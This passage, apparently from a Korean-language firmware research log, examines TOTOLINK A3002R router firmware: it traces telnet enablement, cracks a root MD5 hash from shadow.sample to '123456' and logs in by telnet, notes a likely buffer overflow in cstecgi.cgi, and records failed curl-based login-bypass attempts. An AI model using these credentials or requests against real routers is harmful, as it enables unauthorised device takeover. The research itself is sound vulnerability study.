<code>TELNET_ENABLED</code> 설정이 어디선가 참조될 가능성?</p>
</blockquote>
<h4 id="telnet_enabled을-참조하는-바이너리-조사"><code>TELNET_ENABLED</code>을 참조하는 바이너리 조사</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ grep -rn &quot;TELNET_ENABLED&quot;      
bin/startup.sh:33:      flash set TELNET_ENABLED 1
grep: lib/libapmib.so: binary file matches</code></pre><ul>
<li><code>lib/libapmib.so</code> 바이너리 내부에서 <code>TELNET_ENABLED</code>이 포함<ul>
<li><code>libapmib.so</code>가 <code>TELNET_ENABLED</code> 값을 참조할 가능성이 있음을 의미</li>
<li><code>libapmib.so</code>는 <code>apmib_get()</code>과 같은 설정 관련 함수들을 포함할 가능성</li>
</ul>
</li>
</ul>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ grep -r &quot;telnet&quot; .    
grep: ./bin/sysconf: binary file matches
grep: ./bin/timelycheck: binary file matches
grep: ./bin/busybox: binary file matches
grep: ./lib/libcrypto.so.1.0.0: binary file matches
./etc/init.d/rcS:# telnetd &amp;
./etc/init.d/rcS_GW:# telnetd &amp;
./etc/services:telnet   23/tcp
./etc/services:telnet   23/udp
./etc/services:rtelnet  107/tcp
./etc/services:rtelnet  107/udp
./etc/services:telnets  992/tcp
./etc/services:telnets  992/udp
./web/js/language_tc.js:var menu_telnet= &#39;Telnet功能&#39;;
./web/js/language_tc.js://syscmd_telnet
./web/js/language_tc.js:var syscmd_telnet=&#39;本頁面用於打開或關閉Telnet功能。&#39;;
./web/js/language_ru.js://syscmd_telnet
./web/js/language_ru.js:var syscmd_telnet=&#39;Эта страница позволяет включать и выключать функцию Telnet.&#39;;
./web/js/language_sc.js://syscmd_telnet
./web/js/language_sc.js:var syscmd_telnet=&#39;本页面用于打开或关闭Telnet功能。&#39;;
./web/js/language_vn.js://syscmd_telnet
./web/js/language_vn.js:var syscmd_telnet=&#39;Trang này được sử dụng để bật hoặc tắt chức năng Telnet.&#39;;
./web/js/language_en.js:var menu_telnet=&#39;Function of Telnet&#39;;
./web/js/language_en.js://syscmd_telnet
./web/js/language_en.js:var syscmd_telnet=&#39;This page is used for Open Telnet.&#39;;
./web/js/language_ua.js://syscmd_telnet
./web/js/language_ua.js:var syscmd_telnet=&#39;Ця сторінка дозволяє вмикати та вимимкати Telnet.&#39;;</code></pre><ul>
<li><p><code>sysconf</code>, <code>timelycheck</code>, <code>busybox</code> 바이너리에서 <code>telnet</code> 문자열 발견</p>
<ul>
<li>이 바이너리들이 <code>telnet</code> 기능과 관련이 있을 가능성이 있음을 의미</li>
<li>특히 <code>sysconf</code>나 <code>timelycheck</code>가 <code>telnetd</code> 실행을 제어할 수 있을 것으로 보임</li>
</ul>
</li>
<li><p><code>rcS</code>에서 <code>telnetd &amp;</code>가 주석 처리</p>
<ul>
<li>기본적으로 <code>telnetd</code>는 실행되지 않음</li>
<li>rcS가 아닌 다른 지점에 주안점 두고 탐색 해보기</li>
</ul>
</li>
<li><p>웹 인터페이스(JavaScript 파일)에서 <code>telnet</code> 설정 관련 UI 존재</p>
<ul>
<li><code>/web/js/language_en.js</code> 등 다국어 파일에서 <code>syscmd_telnet</code> 변수가 포함</li>
<li><code>&quot;This page is used for Open Telnet.&quot;</code> 같은 문구가 존재<ul>
<li>웹 UI에서 <code>telnet</code> 활성화 기능이 있을 가능성</li>
<li>이 페이지는 어디서 보지</li>
</ul>
</li>
</ul>
</li>
</ul>
<h4 id="참조-바이너리---telnet-분석">참조 바이너리 - telnet 분석</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./lib/libapmib.so | grep TELNET

TELNET_ENABLED

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./bin/sysconf | grep telnet
telnetd &amp; &gt;/dev/null 2&gt;&amp;1

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./bin/timelycheck | grep telnet
telnetd &amp; &gt;/dev/null 2&gt;&amp;1

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./bin/busybox | grep telnet
telnetd</code></pre><ul>
<li><p><strong><code>libapmib.so</code>에서 <code>TELNET_ENABLED</code> 문자열 존재</strong></p>
<ul>
<li><code>libapmib.so</code>가 <code>TELNET_ENABLED</code> 값을 참조하는 기능을 포함할 가능성</li>
<li><code>apmib_get()</code>을 통해 <code>TELNET_ENABLED</code> 값이 조회될 수 있음을 의미</li>
<li>하지만 어떤 바이너리에서 <code>apmib_get(&quot;TELNET_ENABLED&quot;)</code>을 호출하는지 확인이 필요</li>
</ul>
</li>
<li><p><strong><code>sysconf</code> 및 <code>timelycheck</code> 바이너리에서 <code>telnetd</code> 실행 코드 발견</strong></p>
</li>
</ul>
<pre><code>telnetd &amp; &gt;/dev/null 2&gt;&amp;1</code></pre><ul>
<li><p>백그라운드에서 <code>telnetd</code>를 실행하면서 출력 및 오류 메시지를 제거</p>
<ul>
<li><code>telnetd &amp;</code> : 백그라운드에서 Telnet 서버 데몬을 실행</li>
<li><code>&gt;/dev/null</code> : Stdout을 <code>/dev/null</code>로 보내서 화면에 출력되지 않도록 함<ul>
<li><code>dev/null</code> : 리눅스의 쓰레기통 역할을 하는 특수한 장치 파일</li>
</ul>
</li>
<li><code>2&gt;&amp;1</code> : 2번 출력(Stderr)을 1번 출력(Stdout)과 동일한 곳(dev/null)으로 보냄</li>
</ul>
</li>
<li><p><code>sysconf</code>, <code>timelycheck</code>가 <code>telnetd</code>를 실행할 가능성이 있음</p>
</li>
<li><p>하지만 실제 실행 조건이 어떻게 되는지 확인 필요</p>
<ul>
<li>예: 특정 설정값이 있어야 할 수도 - startup.sh의 enable 값이 이건가?</li>
</ul>
</li>
<li><p><strong><code>busybox</code>에서 <code>telnetd</code> 존재</strong></p>
<ul>
<li><code>busybox</code> 자체에 <code>telnetd</code> 바이너리가 포함되어 있음</li>
<li>즉, <code>telnetd</code> 실행 시 <code>busybox</code>의 내장 기능을 통해 동작할 가능성?</li>
</ul>
</li>
</ul>
<blockquote>
<p>telnetd 활성화 조건 분석 필요</p>
</blockquote>
<h4 id="sysconf-timelycheck-내부에서-telnet_enabled-검사-여부-확인"><code>sysconf</code>, <code>timelycheck</code> 내부에서 <code>TELNET_ENABLED</code> 검사 여부 확인</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./bin/sysconf | grep TELNET

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ strings ./bin/timelycheck | grep TELNET

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ readelf -s ./bin/sysconf | grep apmib

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ readelf -s ./bin/timelycheck | grep apmib</code></pre><ul>
<li><p><strong><code>sysconf</code>, <code>timelycheck</code>에서 <code>TELNET_ENABLED</code>을 직접 참조하지 않음</strong></p>
<ul>
<li>grep 결과 없음</li>
</ul>
</li>
<li><p><strong><code>sysconf</code>, <code>timelycheck</code>에서 <code>apmib_get()</code>을 사용하지 않음</strong></p>
<ul>
<li>grep 결과 없음</li>
</ul>
</li>
<li><p><strong><code>sysconf</code>, <code>timelycheck</code>에 <code>telnetd &amp;</code> 실행 코드가 존재</strong></p>
<ul>
<li>이 실행 코드가 어떤 조건에서 실행되는지 확인하지 못함</li>
<li>현재로서는 조건 없이 실행될 수도 있고, 다른 내부 로직에 의해 결정될 수도 있음</li>
</ul>
</li>
</ul>
<h4 id="결산">결산</h4>
<ul>
<li>기본적으로는 <code>telnetd</code>가 실행되지 않음</li>
<li><code>sysconf</code> 또는 <code>timelycheck</code>에 <code>telnetd</code>를 실행하는 로직이 숨겨져 있을 가능성</li>
<li>차후 동적분석 세션에서 검증 필요</li>
</ul>
<h2 id="하드코딩된-계정-정보-및-취약한-암호화">하드코딩된 계정 정보 및 취약한 암호화</h2>
<h3 id="etcpasswd-etcshadow-shadowsample-파일-확인"><code>/etc/passwd</code>, <code>/etc/shadow</code>, <code>shadow.sample</code> 파일 확인</h3>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/passwd

root:x:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/shadow

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/shadow.sample 
root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/:14587:0:99999:7:::
nobody:*:14495:0:99999:7:::</code></pre><ul>
<li><code>/etc/passwd</code> 파일에서 <code>root</code> 계정과 <code>nobody</code> 계정이 존재<ul>
<li><code>root:x:0:0:root:/:/bin/sh</code> → <code>x</code>는 <code>/etc/shadow</code>에서 암호를 참조</li>
<li><code>nobody:x:0:0:nobody:/:/dev/null</code> → 제한된 권한을 가진 계정</li>
</ul>
</li>
<li><code>/etc/shadow</code>는 비어 있음<ul>
<li><code>/etc/shadow.sample</code> 과 그 존재에 연관성</li>
</ul>
</li>
<li><code>/etc/shadow.sample</code>에 <code>root</code> 계정의 해시된 암호 존재<ul>
<li><code>root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/</code><ul>
<li><code>$1$</code> : MD5 해시 사용</li>
<li><code>AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/</code> : 암호화된 해시 값</li>
</ul>
</li>
</ul>
</li>
</ul>
<h4 id="해시-값-크랙-시도">해시 값 크랙 시도</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ echo &#39;$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/&#39; &gt; hash.txt

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ john --format=md5crypt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456           (?)     
1g 0:00:00:00 DONE 2/3 (2025-02-22 02:53) 50.00g/s 9600p/s 9600c/s 9600C/s 123456..knight
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed.</code></pre><ul>
<li>보안상 매우 취약한 기본 비밀번호 (<code>123456</code>) 사용이 확인</li>
<li>암호 해싱 알고리즘도 <code>MD5-Crypt</code> (<code>$1$</code>)로 매우 취약</li>
</ul>
<h3 id="웹-ui-또는-기타-서비스에서-기본-계정-사용-여부-확인">웹 UI 또는 기타 서비스에서 기본 계정 사용 여부 확인</h3>
<pre><code>grep -rEi &#39;admin|password|root&#39; ./web
grep -rEi &#39;passwd|login|root&#39; ./web/cgi-bin</code></pre><blockquote>
<p>결과는 너무 길어서 생략</p>
</blockquote>
<ul>
<li><strong>웹 UI에서 <code>admin</code> 계정이 기본값으로 설정</strong><ul>
<li><code>./web/login.htm</code> 및 <code>./web/mobile/login.asp</code>에서 <code>username=admin</code> 하드코딩 확인</li>
</ul>
</li>
</ul>
<pre><code>&lt;input type=&quot;hidden&quot; id=&quot;username&quot; name=&quot;username&quot; value=&quot;admin&quot;&gt;</code></pre><ul>
<li><strong>웹 UI에 비밀번호 필드 존재 (<code>password</code>, <code>userpass</code> 등)</strong><ul>
<li><code>admin</code> 계정과 함께 <code>userpass</code> 필드가 존재함 - admin? 123456?</li>
</ul>
</li>
</ul>
<pre><code>&lt;input type=&quot;password&quot; id=&quot;userpass&quot; name=&quot;password&quot; maxlength=&quot;15&quot;&gt;</code></pre><ul>
<li><strong>웹 UI <code>forgot password</code> 페이지에서 <code>admin:admin</code>이 기본값</strong><ul>
<li><code>&quot;Default User Password&quot;</code>라는 변수 확인: 기본 계정 설정 가능성</li>
</ul>
</li>
</ul>
<pre><code>&lt;h5&gt;&lt;script&gt;dw(MB_def_name)&lt;/script&gt;:admin&lt;/h5&gt;
&lt;h5&gt;&lt;script&gt;dw(MB_def_pass)&lt;/script&gt;:admin&lt;/h5&gt;</code></pre><ul>
<li><strong>웹 UI에서 관리자 비밀번호 설정 가능 (<code>password.htm</code>에서 <code>/boafrm/formPasswordSetup</code> 실행)</strong><ul>
<li><code>/boafrm/formPasswordSetup</code>을 호출하여 관리자가 비밀번호를 변경 가능함</li>
</ul>
</li>
</ul>
<pre><code>&lt;form action=/boafrm/formPasswordSetup method=POST name=&quot;password&quot;&gt;</code></pre><ul>
<li><strong>웹 UI에서 인증 없이 <code>cstecgi.cgi</code> 호출 가능할 가능성</strong><ul>
<li><code>./web/cgi-bin/cstecgi.cgi</code> 파일에서 하드코딩된 <code>login</code>, <code>passwd</code>, <code>root</code> 문자열 포함</li>
<li>CGI 파일이 보안 검증 없이 실행될 경우, 인증 우회 가능성이 존재</li>
</ul>
</li>
</ul>
<h3 id="취약점-후보-찔러보기">취약점 후보 찔러보기</h3>
<pre><code>kali@kali:~/Desktop$ curl &quot;http://192.168.0.1/cgi-bin/cstecgi.cgi&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;502 Bad Gateway&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;&lt;H1&gt;502 Bad Gateway&lt;/H1&gt;
The CGI was not CGI/1.1 compliant.
&lt;/BODY&gt;&lt;/HTML&gt;

kali@kali:~/Desktop$ curl -X POST &quot;http://192.168.0.1/cgi-bin/cstecgi.cgi&quot; -d &quot;username=admin&amp;password=admin&quot;


kali@kali:~/Desktop$ curl &quot;http://192.168.0.1/cgi-bin/cstecgi.cgi?username=admin&amp;password=123456&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;502 Bad Gateway&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;&lt;H1&gt;502 Bad Gateway&lt;/H1&gt;
The CGI was not CGI/1.1 compliant.
&lt;/BODY&gt;&lt;/HTML&gt;

kali@kali:~/Desktop$ curl -b &quot;username=admin; password=admin&quot; &quot;http://192.168.0.1/admin/dashboard.htm&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;404 Not Found&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;&lt;H1&gt;404 Not Found&lt;/H1&gt;
The requested URL /admin/dashboard.htm was not found on this server.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li><code>cstecgi.cgi</code> 실행이 차단되었거나, 웹서버 환경이 문제?</li>
</ul>
<h4 id="502-bad-gateway-문제-해결-시도"><code>502 Bad Gateway</code> 문제 해결 시도</h4>
<pre><code>kali@kali:~/Desktop$ curl -I &quot;http://192.168.0.1/cgi-bin/cstecgi.cgi&quot;
HTTP/1.1 502 Bad Gateway
Date: Sat, 31 Oct 2020 18:01:10 GMT
Server: Boa/0.94.14rc21
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=ISO-8859-1</code></pre><ul>
<li>웹서버는 <code>Boa/0.94.14rc21</code> 를 사용 중</li>
<li>CGI 요청이 처리되지 않아 <code>502 Bad Gateway</code> 반환됨</li>
<li>서버가 <code>cgi-bin/</code> 디렉토리를 제대로 실행하지 못하고 있을 가능성 큼</li>
</ul>
<h4 id="cgi-설정-파일-점검">cgi 설정 파일 점검</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/boa.org/boa.conf | grep -i &quot;ScriptAlias&quot;

# Redirect, Alias, and ScriptAlias all have the same semantics -- they
# Redirect for other servers, Alias for the same server, and ScriptAlias
# ScriptAlias: Maps a virtual path to a directory for serving scripts
# Example: ScriptAlias /htbin/ /www/htbin/
ScriptAlias /cgi-bin/ /var/web/cgi-bin/

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/boa.org/boa.conf | grep -i &quot;ExecCGI&quot;

</code></pre><ul>
<li><code>boa.conf</code>에서 CGI 디렉토리는 <code>/var/web/cgi-bin/</code>으로 설정<ul>
<li><code>http://192.168.0.1/cgi-bin/cstecgi.cgi</code> 요청이 <code>/var/web/cgi-bin/cstecgi.cgi</code>를 실행하도록 지정됨을 의미</li>
</ul>
</li>
</ul>
<pre><code>ScriptAlias /cgi-bin/ /var/web/cgi-bin/</code></pre><ul>
<li><code>ExecCGI</code> 관련 설정이 없음: CGI 실행이 제한될 수도<ul>
<li>일부 웹서버(예: Apache)에서는 <code>ExecCGI</code>가 활성화되지 않으면 CGI 실행이 차단</li>
<li>하지만 Boa는 <code>ExecCGI</code>가 필수 설정은 아니므로, 직접적인 원인은 아닐 수도 있음</li>
</ul>
</li>
</ul>
<h4 id="cgi-스크립트-자체-점검">cgi 스크립트 자체 점검</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ ls -lah ./web/cgi-bin/cstecgi.cgi

-rwxr-xr-x 1 kali kali 5.9K May 31  2023 ./web/cgi-bin/cstecgi.cgi

┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ file ./web/cgi-bin/cstecgi.cgi

./web/cgi-bin/cstecgi.cgi: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
</code></pre><ul>
<li><p><code>cstecgi.cgi</code>는 실행 권한(<code>-rwxr-xr-x</code>)을 가지고 있음</p>
<ul>
<li>즉 웹서버(Boa)는 이 파일을 실행할 수 있는 상태라는 것</li>
</ul>
</li>
<li><p><code>cstecgi.cgi</code>는 MIPS 아키텍처의 ELF 바이너리이며, <code>uClibc</code>를 사용하여 동적으로 링크</p>
<ul>
<li>라우터 내에서 <code>uClibc</code> 또는 필요한 라이브러리가 없기 때문?</li>
<li>근데 라이브러리는 건든 거 없을텐데</li>
</ul>
</li>
</ul>
<h4 id="직접-실행-시도---telnet">직접 실행 시도 - telnet</h4>
<pre><code>kali@kali:~/Desktop$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is &#39;^]&#39;.

rlx-linux login: user 
Password: 
Login incorrect
rlx-linux login: root
Password: 
RLX Linux version 2.0
         _           _  _
        | |         | ||_|                 
   _  _ | | _  _    | | _ ____  _   _  _  _ 
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:
http://processor.realtek.com/
#</code></pre><ul>
<li><code>root:123456</code> 으로 telnet 접속 성공</li>
</ul>
<pre><code># ls
bin         etc_ro      lib         root        usr
boot        firmadyne   lost+found  run         var
dev         home        mnt         sys         web
etc         init        proc        tmp
# cd ./var/web/cgi-bin/
# ./cstecgi.cgi 
Segmentation fault</code></pre><ul>
<li>...?</li>
<li><code>502 Bad Gateway</code>는 웹서버가 <code>cstecgi.cgi</code>를 실행하려다 segfault로 실패했기 때문으로 확인</li>
</ul>
<h4 id="segmentation-fault의-원인-분석">segmentation fault의 원인 분석</h4>
<pre><code># strace -f ./cstecgi.cgi
-sh: strace: not found

┌──(kali㉿kali)-[~/…/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root/web/cgi-bin]
└─$ ldd ./cstecgi.cgi

        not a dynamic executable</code></pre><ul>
<li><p>라우터에 <code>strace</code>가 설치되지 않음</p>
<ul>
<li>이건 뭐 예상함</li>
</ul>
</li>
<li><p>not a dynamic executable</p>
<ul>
<li><code>cstecgi.cgi</code>가 정적으로 컴파일된 실행 파일이라는 의미</li>
<li>따라서 실행에 필요한 모든 라이브러리를 포함하고 있어야 하지만, 실행하자마자 <code>Segmentation Fault</code>가 발생</li>
<li>실행 파일 자체가 손상되었거나, 내부 코드가 비정상적인 동작을 수행하고 있을 가능성</li>
<li>ㅅ발 뭔데</li>
</ul>
</li>
</ul>
<h4 id="더-괴롭혀보기">더 괴롭혀보기</h4>
<pre><code># echo &quot;A&quot; x 5000 | ./cstecgi.cgi
Segmentation fault
# export CONTENT_LENGTH=5000
# echo &quot;A&quot; x 5000 | ./cstecgi.cgi


# 
</code></pre><ul>
<li><p>길이 5000짜리 입력값을 보냈을 때 <code>Segmentation Fault</code> 발생</p>
<ul>
<li>즉, <code>cstecgi.cgi</code>는 입력값 검증 없이 메모리에 데이터를 할당하다가 충돌(segfault)</li>
<li>버퍼 오버플로우(BOF) 취약점 존재 가능성이 매우 높음!</li>
</ul>
</li>
<li><p><code>CONTENT_LENGTH=5000</code>을 설정한 후 실행했을 때는 <code>Segmentation Fault</code> 발생 안함</p>
<ul>
<li><code>CONTENT_LENGTH</code>가 영향을 미치지 않는 것으로 보임</li>
<li>그러나 입력 데이터가 직접 BOF를 유발할 수 있다는 점 까진 확인</li>
</ul>
</li>
</ul>
<h2 id="로그인-인증-우회">로그인 인증 우회</h2>
<h3 id="직접-요청으로-비밀번호-변경-시도">직접 요청으로 비밀번호 변경 시도</h3>
<pre><code>curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -d &quot;Cpassword=oldpassword&amp;newPass=123456&amp;confPass=123456&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -d &quot;Cpassword=oldpassword&amp;newPass=123456&amp;confPass=123456&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=1604167144611&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li>302 리디렉트 발생</li>
<li>요청이 차단된 것으로 간주</li>
</ul>
<h3 id="referer-없이-직접-요청-보내기-csrf-우회-가능성-확인"><code>Referer</code> 없이 직접 요청 보내기 (CSRF 우회 가능성 확인)</h3>
<pre><code>curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -H &quot;Referer: http://malicious.com&quot; -d &quot;Cpassword=oldpassword&amp;newPass=123456&amp;confPass=123456&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -H &quot;Referer: http://malicious.com&quot; -d &quot;Cpassword=oldpassword&amp;newPass=123456&amp;confPass=123456&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=1604167887349&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li><code>Referer</code> 값을 임의로 설정한 상태에서도 여전히 <code>302 Redirect</code>가 발생</li>
<li>CSRF 보호 기능이 있는지 확실하지 않지만, 적어도 요청이 실패한 것은 분명</li>
</ul>
<h3 id="관리자-계정-없이-새로운-비밀번호-설정-시도">관리자 계정 없이 새로운 비밀번호 설정 시도</h3>
<pre><code>curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -d &quot;newPass=123456&amp;confPass=123456&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -X POST &quot;http://192.168.0.1/boafrm/formPasswordSetup&quot; -d &quot;newPass=123456&amp;confPass=123456&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=1604167945294&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li>비밀번호를 변경하려면 추가적인 인증이 필요한 것으로 보임</li>
<li>변경 요청에 <code>Cpassword</code>(기존 비밀번호)를 생략해도 같은 결과 발생</li>
<li>인증 없이 비밀번호를 변경하는 것은 불가능한 것으로 결론</li>
</ul>
<h3 id="세션-없이-관리자-패널-직접-접근-시도">세션 없이 관리자 패널 직접 접근 시도</h3>
<pre><code>curl -b &quot;username=admin; password=123456&quot; &quot;http://192.168.0.1/admin/dashboard.htm&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -b &quot;username=admin; password=123456&quot; &quot;http://192.168.0.1/admin/dashboard.htm&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=160416806245&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li>세션 없이 관리자 페이지에 접근하는 것은 불가능</li>
</ul>
<h3 id="로그인-없이-직접-관리자-페이지-접근-시도">로그인 없이 직접 관리자 페이지 접근 시도</h3>
<pre><code>curl -X GET &quot;http://192.168.0.1/admin/dashboard.htm&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -X GET &quot;http://192.168.0.1/admin/dashboard.htm&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=1604168208867&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><ul>
<li>로그인 없이 관리자 페이지에 접근하는 것은 불가능</li>
</ul>
<h3 id="캐시된-세션-재사용-가능성-확인">캐시된 세션 재사용 가능성 확인</h3>
<pre><code>curl -X GET &quot;http://192.168.0.1/admin/dashboard.htm&quot; -H &quot;Cache-Control: no-cache&quot;</code></pre><pre><code>kali@kali:~/Desktop$ curl -X GET &quot;http://192.168.0.1/admin/dashboard.htm&quot; -H &quot;Cache-Control: no-cache&quot;
&lt;HTML&gt;&lt;HEAD&gt;&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;302 Redirect&lt;/H1&gt;The document has moved
&lt;A HREF=&quot;login.htm?t=1604168248781&quot;&gt;here&lt;/A&gt;.
&lt;/BODY&gt;&lt;/HTML&gt;</code></pre><h3 id="최종-결산">최종 결산</h3>
<ul>
<li>로그인 없이 관리자 페이지 접근 불가능 (<code>302 Redirect</code>)</li>
<li>비밀번호 변경 시도 실패 (<code>302 Redirect</code>)</li>
<li>CSRF 우회 불가능 (<code>Referer</code> 없이도 같은 응답)</li>
<li>세션 없이 접근 불가능 (쿠키 조작해도 <code>302 Redirect</code>)</li>
<li>캐시된 세션 재사용 불가능</li>
</ul>
<h2 id="취약한-함수-분석">취약한 함수 분석</h2>
<h3 id="위험한-함수-사용-여부-확인">위험한 함수 사용 여부 확인</h3>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ grep -rE &quot;system|strcpy|sprintf|gets|strcat|exec&quot;
usr/local/man/man8/ebtables.8:targets on a frame.
usr/local/man/man8/ebtables.8:For the extension targets please refer to the
usr/local/man/man8/ebtables.8:The targets
usr/local/man/man8/ebtables.8:script.  For example the output could be used at system startup.
usr/local/man/man8/ebtables.8:Maximum initial number of packets to match: this number gets recharged by
usr/local/man/man8/ebtables.8:target is executed.
usr/share/udhcpc/eth0.sh:exec /usr/share/udhcpc/eth0.$1
usr/share/udhcpc/eth1.sh:exec /usr/share/udhcpc/eth1.$1
usr/share/udhcpc/eth1.4.sh:exec /usr/share/udhcpc/eth1.4.$1
usr/share/udhcpc/eth1.2.sh:exec /usr/share/udhcpc/eth1.2.$1
usr/share/udhcpc/wlan0.sh:exec /usr/share/udhcpc/wlan0.$1
usr/share/udhcpc/wlan1-vxd.sh:exec /usr/share/udhcpc/wlan1-vxd.$1
usr/share/udhcpc/br0.sh:exec /usr/share/udhcpc/br0.$1
usr/share/udhcpc/wlan0-vxd.sh:exec /usr/share/udhcpc/wlan0-vxd.$1
usr/share/udhcpc/wlan1.sh:exec /usr/share/udhcpc/wlan1.$1
